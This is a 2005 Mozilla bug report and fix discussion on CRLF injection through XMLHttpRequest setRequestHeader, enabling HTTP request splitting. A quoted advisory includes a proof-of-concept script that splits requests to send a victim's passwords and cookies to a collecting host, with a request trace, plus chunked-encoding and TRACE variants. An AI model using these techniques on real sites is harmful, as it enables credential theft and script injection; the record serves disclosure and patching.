Closed Bug 297078 Opened 19 years ago Closed 19 years ago

setRequestHeader can be exploited using newline characters

Categories

(Core :: Networking: HTTP, defect)

x86
Windows XP
defect
Not set
critical

Tracking

()

RESOLVED FIXED
mozilla1.8alpha4

People

(Reporter: web, Assigned: darin.moz)

References

Details

(Keywords: fixed-aviary1.0.7, fixed1.7.12, fixed1.8, Whiteboard: [sg:fix] [ready to land])

Attachments

(4 files, 1 obsolete file)

Mozilla allows the value field of XMLHttpRequest setRequestHeaders to contain newline characters. A malicious author could use two newline characters to end the headers sent by the client. Thus, the author has the ability to send arbitrary data to the server. On a shared host, this could lead to data theft situations. I have not tested whether Mozilla allows newline characters in the the header field of setRequestHeader, but the same problem would occur there. Furthermore, similiar vulnerabilites could occur if Mozilla allows linefeed and carriage return characters in header and value fields, as well as colon characters in the header fields. I have not tested any of these situations. I have notified Ian Hickson to update the WHAT WG spec.
Spec updated to match IE: # If the header or value arguments contain any U+000A or U+000D characters, or if # the header argument contains any U+0020 or U+003A charecters, does nothing.
> Thus, the author has the ability to send arbitrary data to the server. That's the case with XMLHttpRequest anyway, no? See http://lxr.mozilla.org/seamonkey/source/extensions/xmlextras/base/public/nsIXMLHttpRequest.idl#221 I do think that throwing on newline chars in a header may not be a bad idea, but I think that should happen in nsHttpChannel...
I suppose "Thus, the author has the ability to send arbitrary header data on behalf of the client to the server," would be more accurate.
How is that different from what you first said? Of course all sending here is done on behalf of the client. Again, arbitrary data can be sent even if setRequestHeader is disabled completely.
Can we remove the security flag? I don't see the victim here, unless you're hacking a server with malformed requests--but that could be done much more directly and would be a server problem.
(In reply to comment #4) > How is that different from what you first said? Of course all sending here is > done on behalf of the client. Again, arbitrary data can be sent even if > setRequestHeader is disabled completely. It's not just any data; it's header data. The author can completely replace the headers sent by the client. For instance, the author can add a second Host header or create a second GET request (using any Host header) embedded in the first.
So, maybe in conjunction with a proxy server you might be able to make XMLHttpRequest issue requests to other domains. Do you have a proof of concept? Is there anyway this can be used to load content from other domains? (Probably not, as it would seem that XMLHttpRequest would only care about the response to the first request.)
Darin, no need for the proxy server if the two domains share an IP (not that uncommon out there with multihosting situations).
In a shared-hosting scenario, the "other domain" might be at the same IP. Not likely to be much of an issue though unless the other domain does IP-based authorization (like the W3C does).
No, I don't have a proof of concept. It looks like Boris and Ian answered the rest of your question.
This is clearly a bug, and it should be easy to fix, but Dan and I discussed its severity as a security hole anyway. I think this bug should be left hidden because there are many ways it could be exploited (by making Firefox disagree with a proxy, load balancer, or shared server about what's going on). See http://it.slashdot.org/article.pl?sid=05/06/12/1433206 for exploit ideas. The most likely victim is confidential information on an intranet where some hosts display untrusted HTML content. Btw, does setRequestHeader allow adding a "Host:" header?
Flags: blocking1.8b4?
Flags: blocking-aviary1.0.7?
Whiteboard: [sg:fix]
(In reply to comment #11) > Btw, does setRequestHeader allow adding a "Host:" header? Yes. security@mozilla.org just received this today: ================================================================ Vulnerability Report ================================================================ Software: Mozilla browsers (possibly all variants) Versions known to be affected: Mozilla Suite 1.7.8 (Linux) Mozilla Firefox 1.0.4 Japanese (Windows) Severity: very high Kind of vulnerability: "Request Splitting Attack" caused by XMLHTTP object. It causes credential steal, external script injection to any websites. Summary: A vulnerability for "Request Splitting Attack" exists in Mozilla's implementation of the XMLHTTP object. A malicious web page can split a HTTP request by injecting CRLFs into request headers generated by XMLHTTP object. By doing this, the attacker can redirect an request for other websites (hereafter "target" page) and steal access credentials (including Basic authentication passwords) and cookies. The attack can also effectively replace the data of the target page by any data, which leads to further cross-site scripting attacks. Target webpages and the attack webpage must be served either from the same IP address, or from the same proxy server. The latter case means that "almost any sites" can be attacked when the victim user uses a proxy server. Exploit Example: Assume the following domains exist: M is the domain containing a malicious page. V is the domain which contains a target web page. R is the domain which receives the stolen credential. These can be either the same domain or different, but contents of M, V, and R must either (1) be served from the same IP address, or (2) be served from the same proxy server. Then, A victim user visits the page hosted in M, which contains a script like the following: <script> xmlhttp = new XMLHttpRequest(); xmlhttp.open("GET", "/any_url",true); xmlhttp.setRequestHeader("Test", "hoge\r\n\r\nPOST http://R/record.cgi HTTP/1.0\r\nContent-Length: 500"); xmlhttp.onreadystatechange=function() { if (xmlhttp.readyState==4) { document.location = "http://V/password/protected/site/" } } xmlhttp.send(null) </script> The user redirected to the target page on V. However, the request to V is actually sent to the host R as a content of a injected POST request. Thus, the authentication passwords and cookies for the site V is stolen by R. Further more The contents returned from http://R/record.cgi is treated by the browser as a data came from V. Cause: Double CRLFs embedded in the request becomes a record-separator of pipelined HTTP requests. The web server handles the POST request embedded in the string, and treat the next request to V as a data part. The following is an example of communication between victim's browser and a proxy server. 1 >> GET http://M/any_url HTTP/1.1 2 >> Host: M 3 >> User-Agent: Mozilla/5.0 (...) ... 4 >> Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 5 >> Accept-Language: ja,en;q=0.5 6 >> Accept-Encoding: gzip,deflate 7 >> Accept-Charset: EUC-JP,utf-8;q=0.7,*;q=0.7 8 >> Keep-Alive: 300 9 >> Proxy-Connection: keep-alive 10 >> Test: hoge 11 >> 12 >> POST http://R/record.cgi HTTP/1.0 13 >> Content-Length: 500 14 >> Pragma: no-cache 15 >> Cache-Control: no-cache 16 >> 17 << HTTP/1.1 404 Not Found 18 << Date: Wed, 20 Jul 2005 09:35:47 GMT 19 << Server: Apache 20 << Content-Length: 299 21 << Content-Type: text/html; charset=iso-8859-1 22 << Via: 1.1 proxy 23 << 24 << (299 bytes omitted) 25 >> GET http://V/password/protected/site/ HTTP/1.1 26 >> Host: V 27 >> User-Agent: Mozilla/5.0 (...) ... 28 >> Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 29 >> Accept-Language: ja,en;q=0.5 30 >> Accept-Encoding: gzip,deflate 31 >> Accept-Charset: EUC-JP,utf-8;q=0.7,*;q=0.7 32 >> Keep-Alive: 300 33 >> Proxy-Connection: keep-alive 34 >> Referer: http://M/attack.html 35 >> Authorization: Basic dGVzdDp0ZXN0 36 >> 37 << HTTP/1.1 200 OK 38 << Date: Wed, 20 Jul 2005 09:35:47 GMT 39 << Server: Apache 40 << Connection: close 41 << Content-Type: text/plain 42 << 43 << Content-Length=500 44 << Request Body: 45 << GET http://V/password/protected/site/ HTTP/1.1 46 << Host: V 47 << User-Agent: Mozilla/5.0 (...) ... 48 << Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 49 << Accept-Language: ja,en;q=0.5 50 << Accept-Encoding: gzip,deflate 51 << Accept-Charset: EUC-JP,utf-8;q=0.7,*;q=0.7 52 << Keep-Alive: 300 53 << Proxy-Connection: keep-alive 54 << Referer: http://M/attack.html 55 << Authorization: Basic dGVzdDp0ZXN0 The browser send lines 1--16 as a first request. However, since double-CRLFs are inserted at 10--11, the proxy server only treats ll. 1--11 as the first request, and treats ll. 12--16 as a header for the second request. Lines 17--24 is the first response from M. Upon receiving this response, the browser send the second request to V, at lines 25--36. However, proxy treats these as the body of the POST request starts from line 12. Therefore, these data is actually forwarded to R, not to V. The access credential included in line 35 (user test/pass test) is sent to R, as you can see in the reply from R at line 55. From the browser's view, the reply from R, lines 37--55, seems to the response from V. Therefore, R can insert any script or phishing data as if it was sent from V. Mitigating Factors and/or Workarounds: If proxy is not used, the attack requires both attacker and target pages hosted in the same IP address. This limits exploits to virtual-domain settings where multiple users share the same web server. If HTTP keep-alive is disabled, the two requests to M and V is always sent on the different connection, which prevents this attack. Possible Fix: Any control codes, or at least all CRs and LFs, shall be rejected for headers (both names and values) sent via XmlHttp API. SPACEs or COLONs shall also be rejected for header names. Furthermore, the XmlHttp object shall not be be allowed to replace the following headers. These can also be used to redirect requests and/or to break HTTP conversations. Content-Length Host Connection Proxy-connection (non-standard) Especially, depending on the behavior of the web/proxy servers, the Content-Length header can be used for the same kind of attacks even without embedding malicious CRLFs. I also noticed that Mozilla allows to modify the "Host" header, which enables redirecting a request to the virtual host on the same server. In addition, the following headers should not be overwritable. Referer Date Upgrade Via Note: - This vulnerability is related with well-known server-side vulnerability called "HTTP response splitting", but this one is more powerful because it is performed on the client-side. The method stealing user secret credentials is related with recently-reported "HTTP request smuggling" attack. - Microsoft Internet Explorer correctly implements this by silently ignoring all ill-formatted headers. - A report about this vulnerability is also sent to JPCERT/CC, Japan Computer Emergency Response Team Coordination Center.
Flags: blocking1.8b4?
Flags: blocking1.8b4+
Flags: blocking1.7.11+
Flags: blocking-aviary1.0.7?
Flags: blocking-aviary1.0.7+
I think this should be solved at the HTTP level. There's no reason for a HTTP channel to allow a malformed request header to be set.
Assignee: general → darin
Component: DOM → Networking: HTTP
QA Contact: ian → networking.http
Severity: normal → critical
Status: NEW → ASSIGNED
Target Milestone: --- → mozilla1.8alpha4
> # If the header or value arguments contain any U+000A or U+000D characters, or > # if the header argument contains any U+0020 or U+003A charecters, does nothing. Why restrict spaces and colons? That seems pretty broken to me. Why can't I write a request header like: "Foo: x, y"?
Attached patch v1 patch (deleted) — Splinter Review
Candidate patch. It occured to me that SetRequestMethod can also be exploited to affect the Request-URI. So, I created a function that checks for valid HTTP tokens as defined by RFC 2616. I run that function against any given Method or Header field-name. The only restriction placed on field-value is that it not contain CR or LF. I noticed that RFC 2616 actually permits CR and LF provided that they appear in quoted strings or are used to continue a header value on a newline. I think it's reasonable to disallow those use cases in our API. Hopefully, it won't break any users.
Attachment #190106 - Flags: review?(bzbarsky)
Comment on attachment 190106 [details] [diff] [review] v1 patch should stuff like \0, or really any CTL character, maybe be disallowed in header values too?
> should stuff like \0, or really any CTL character, maybe be disallowed in > header values too? How might those be used to cause harm? I can only really imagine that they might cause the header value to be truncated or somehow corrupted. In addition to this patch, we might want to restrict which headers may be modified. For example, it probably would be good to restrict the Host header.
I'll try to get to this ASAP, but that might end up being up to a week... :(
(In reply to comment #17) > In addition to this patch, we might want to restrict which headers may be > modified. For example, it probably would be good to restrict the Host header. See comment 12 for some more headers that should be restricted.
Some of the header restrictions are probably better placed in the XMLHttpRequest code. Some can be done at the HTTP level, but we need to take care not to overly restrict our HTTP API since that also restricts what fully privileged code may do.
\0 is always a bit scary, though I don't know if we've actually had any security exploits from it ever. What tends to happen is that some functions honor the length parameter when using a string, while other just use a char* and get a truncated string. If the security check is done on one of these values and the actual executing code uses the other then there can be a security exploit. So if it doesn't matter much either way from a functionality point of view I think it might be good to restrict \0. Another thing I thought of: You mention that values can be split up into several lines if quoted. We have to ensure that something we intend to be a terminated value doesn't end up 'leaking' onto the next line eating up the next header when parsed by the server. But reading rfc 822 it seems like as long as each header starts with a non-LWSP char it will be parsed as a distinct header. And you seem to enforce this in the headername. So this attack should be covered too, right?
>> # If the header or value arguments contain any U+000A or U+000D characters, >> # or if the header argument contains any U+0020 or U+003A charecters, does >> # nothing. > > Why restrict spaces and colons? That seems pretty broken to me. Why can't I > write a request header like: "Foo: x, y"? You can. There are two arguments, header and value. They get sent as: header: value The "header" part is not allowed to have spaces or colons because otherwise you could set it to something like "Host: evil.example.com" and the value to "80" and we would send something like: Host: evil.example.com: 80 ...which is clearly not good, and wouldn't get caught by a security check for the "Host" header. The spec also details which headers should be allowed or disallowed, see: http://whatwg.org/specs/web-apps/current-work/#setrequestheader I haven't updated it to take into account the comments sent over the last few weeks though, sorry.
Attachment #190106 - Flags: superreview+
Attachment #190106 - Flags: review?(bzbarsky)
Attachment #190106 - Flags: review+
Attachment #190106 - Flags: approval1.8b4?
Ian: I believe I was confused by your use of the term "header argument". At any rate, your explanation above matches my thinking. You will notice that my patch implements a strict check on the set of characters allowed in a header name. I basically implemented the BNF for "token" defined by RFC 2616. Right now, I am only disallowing U+000A and U+000D in the header value. Jonas makes the case for disallowing U+0000 as well. I will add that to the patch assuming that no one objects.
Comment on attachment 190106 [details] [diff] [review] v1 patch a=dveditz
Attachment #190106 - Flags: approval1.8b4? → approval1.8b4+
The advisory in comment #12 is from Yutaka Oiwa
Yutaka Oiwa sent additional information: > I have two updates to the original report: > > 1) Transfer-encoding: header is also found to cause malformed HTTP header. > > HTTP 1.1 specifies that Content-length should be ignored when > "Transfer-encoding: chunked" is given. However, Mozilla generates > a request like following: > > POST /a HTTP/1.1 > Host: localhost > User-Agent: Mozilla/5.0 (X11; U; Linux i686; ja-JP; rv:1.7.8) Gecko/20050513 Debian/1.7.8-1 > Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 > Accept-Language: ja,en;q=0.5 > Accept-Encoding: gzip,deflate > Accept-Charset: EUC-JP,utf-8;q=0.7,*;q=0.7 > Keep-Alive: 300 > Connection: keep-alive > Transfer-Encoding: chunked > Content-Type: text/xml > Content-Length: 113 > Pragma: no-cache > Cache-Control: no-cache > > 0 > > POST /~yutaka/cgi-bin/test2.cgi?exploit=yes HTTP/1.1 > Host: hostname.domain.name.jp > Content-Length: 500 > > > This is another form of splitted requests, because the request actually > ends at the first line "0 CR LF CR LF". Note that Transfer-Encoding is > a general header which can appear both in requests and responses, > although it is not likely to be needed in requests. > > Add this header to the "dangerous headers" list provided in the > "Possible Fix" section in the original report. > > 2) I have also found another, related security bug (or at least a "bad > design"), which might be called "Intra-site TRACE vulnerability." > > Assume that http://host/~a/secret/ is password-protected. > The page owner of http://host/~b/ can generate an XMLHTTP request > to http://host/~a/secret/ with the http "TRACE" method, > to steal the hidden password. > > To prevent this, either of these two fixes is needed: > > 1) stop sending any confidential information on XMLHTTP request, or > 2) forbid the TRACE method explicitly for XMLHTTP requests. > > Microsoft Internet Explorer and Opera seems to implement the > solution 2).
Whiteboard: [sg:fix] → [sg:fix] [ready to land]
US CERT is tracking this as VU#880616
I think I should probably file a separate bug on making XMLHttpRequest restrict the set of headers that it allows its consumer to set. We don't want to make the HTTP code prevent the setting of Content-Length for example.
fixed-on-trunk w/ '\0' added to the set of characters disallowed in header values. I'll be posting a patch for the 1.7 branch shortly.
Status: ASSIGNED → RESOLVED
Closed: 19 years ago
Resolution: --- → FIXED
GCC kindly complained about this line: > if (*start > 127 || !kValidTokenMap[*start]) I wish I had compiled with GCC before commiting the patch. Because |*start| is signed, it will never be greater than 127 in value. I should cast to an unsigned char instead before performing this comparison.
Attached patch v1 follow-up patch (deleted) — Splinter Review
Attachment #190616 - Flags: superreview+
Attachment #190616 - Flags: review+
I went ahead and checked in the follow-up patch on the trunk.
Attached patch v1 patch ported to the 1.7/aviary1.0.1 branch (obsolete) (deleted) — Splinter Review
Attachment #190617 - Flags: approval1.7.11?
Attachment #190617 - Flags: approval-aviary1.0.7?
I filed bug 302263 to cover the problem of allowing the setting of 'Transfer-Encoding: chunked' and 'Host: foo'
I'm not sure whether NUL causes problem or not, and I don't know about the internal of Mozilla sources, but + if (flatValue.FindCharInSet("\r\n\0") != kNotFound) ^^^^^^^^ This string seems to be a bad one in C++. P.S. Can I see discussion on bug 302263, too?
(In reply to comment #35) > P.S. Can I see discussion on bug 302263, too? I'd also like to see the discussion there.
> + if (flatValue.FindCharInSet("\r\n\0") != kNotFound) > ^^^^^^^^ > This string seems to be a bad one in C++. Yes, that is an error. Thank you for pointing it out. I will make a correction.
Attachment #190733 - Flags: superreview?(bzbarsky)
Attachment #190733 - Flags: review?(bzbarsky)
Attachment #190617 - Attachment is obsolete: true
Attachment #190617 - Flags: approval1.7.11?
Attachment #190617 - Flags: approval-aviary1.0.7?
Attachment #190735 - Flags: approval1.7.12?
Attachment #190735 - Flags: approval-aviary1.0.7?
Comment on attachment 190733 [details] [diff] [review] v1 follow-up patch (fix '\0' issue) Looks good; not sure whether this is better than just doing a FindChar('\0'), but either way.
Attachment #190733 - Flags: superreview?(bzbarsky)
Attachment #190733 - Flags: superreview+
Attachment #190733 - Flags: review?(bzbarsky)
Attachment #190733 - Flags: review+
fix for '\0' checked in on trunk
Flags: blocking1.7.11+ → blocking1.7.12+
To be fixed as written we also need to fix bug 302263 The HTTP TRACE issue should be split into a separate bug.
Depends on: 302263
I don't understand the TRACE issue. I presume the problem is that the request sent to http://host/a/ can be seen by http://host/b/, but why is that a concern? It only works on the same host. We already allow the page http://host/b/ to load the page http://host/a/ and walk its DOM. While it's true that that doesn't reveal the password to the site, http://host/b/ could also just challenge the browser with the same Basic auth realm, and it would then receive the same password. All it would need to do is issue GET requests to do this, so why is TRACE more of a risk?
Is the problem perhaps that TRACE would reveal the user's proxy password?
(In reply to comment #43) http://host/b/ could also just > challenge the browser with the same Basic auth realm, and it would then receive > the same password. All it would need to do is issue GET requests to do this, so > why is TRACE more of a risk? Please read between lines where I put tildes before "a" and "b" :-) Good multi-user web servers (e.g. Apache) do not reveal passwords to its CGIs, to prevent such way of password steal. So your story of attack does not succeed. TRACE method does disables this protection. Of course, there is always a scripting issue regarding multi-user web server, but permanent attack such as password steal shall be considered more risky than a temporary attack such as XSS. In other word, an Intra-site Trace is more risky than local scripting, as Cross-site Trace (http://www.cgisecurity.com/whitehat-mirror/WH-WhitePaper_XST_ebook.pdf) is more risky than XSS.
(In reply to comment #44) > Is the problem perhaps that TRACE would reveal the user's proxy password? Oh, Yes, it is possible... Sending "Max-Forwards: 0" enables to steal a proxy password...
(In reply to comment #46) > > Is the problem perhaps that TRACE would reveal the user's proxy password? > > Oh, Yes, it is possible... > Sending "Max-Forwards: 0" enables to steal a proxy password... As I succeed to exploit this vulnerability, I filed this as a separate bug 302489 . Please find an appropriate layer to apply a fix.
Flags: blocking-aviary1.0.7?
Flags: blocking1.7.12?
> ------- Additional Comment #27 From Rafael Ebron 2005-07-26 13:36 PDT [reply] ------- > > US CERT is tracking this as VU#880616 need to follow up with CERT when the fix gets released. a number is assigned but the report is not public yet http://search.us-cert.gov/query.html?col=csalrts&col=csbulls&col=cstips&col=feddocs&col=pressrm&col=tcsalrts&col=vulnotes&col=xtradocs&qt=VU%23880616&charset=iso-8859-1
Attachment #190735 - Flags: approval1.7.13?
Attachment #190735 - Flags: approval1.7.13+
Attachment #190735 - Flags: approval-aviary1.0.8?
Attachment #190735 - Flags: approval-aviary1.0.8+
Flags: blocking1.7.13+
Flags: blocking1.7.12?
Flags: blocking1.7.12+
Flags: blocking-aviary1.0.8+
Flags: blocking-aviary1.0.7?
Flags: blocking-aviary1.0.7+
Landed attachment 190735 [details] [diff] [review] on MOZILLA_1_7_BRANCH and AVIARY_1_0_1_20050124_BRANCH, and verified that it's the same as a join from revision 1.252 to 1.255.
Attachment #190735 - Flags: approval1.7.13+
Attachment #190735 - Flags: approval1.7.12+
Attachment #190735 - Flags: approval-aviary1.0.8+
Attachment #190735 - Flags: approval-aviary1.0.7+
dbaron: thanks for landing the patch.
ideas for testing around xmlhttprequest in general wanted.... http://developer.apple.com/internet/webcontent/xmlhttpreq.html http://developer.apple.com/internet/webcontent/XMLHttpRequestExample/example.html user contributed notes under http://www.xulplanet.com/references/objref/XMLHttpRequest.html google toolbar extension mozilla amazon browser http://www.faser.net/mab/ check with marcio and bclary for more ideas
any thoughts on good Ajax test suites?
Group: security
keyword cleanup
Keywords: fixed1.8
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Creator:
Created:
Updated:
Size: